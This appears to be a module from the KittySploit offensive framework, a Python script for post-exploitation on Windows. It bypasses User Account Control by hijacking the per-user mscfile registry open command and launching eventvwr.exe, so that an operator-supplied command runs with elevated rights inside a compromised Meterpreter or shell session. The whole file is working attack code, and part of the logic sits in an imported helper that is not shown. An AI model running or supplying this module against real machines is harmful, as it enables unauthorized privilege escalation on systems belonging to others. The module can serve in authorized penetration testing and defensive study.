Windows UAC Bypass — Eventvwr

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *

from lib.post.windows.uac_bypass import REG_MSCFILE, UAC_AGENT, UacBypassMixin


class Module(Post, UacBypassMixin):
    __info__ = {
        "name": "Windows UAC Bypass — Eventvwr",
        "description": "HKCU mscfile shell open command hijack + eventvwr.exe.",
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "agent": UAC_AGENT,
    }

    command = OptString("", "Command to run elevated", False)

    def run(self):
        if not self.uac_require_windows():
            return False
        if self.uac_is_admin():
            print_success("Already elevated.")
            return True
        cmd = self.uac_prepare_elevated_command()
        ok = self.uac_run_hijack(
            reg_key=REG_MSCFILE,
            command=cmd,
            trigger="start eventvwr.exe",
            cleanup_paths=[r"HKCU\Software\Classes\mscfile"],
            delegate_execute=False,
        )
        if ok:
            print_success("Eventvwr UAC bypass attempted.")
        return ok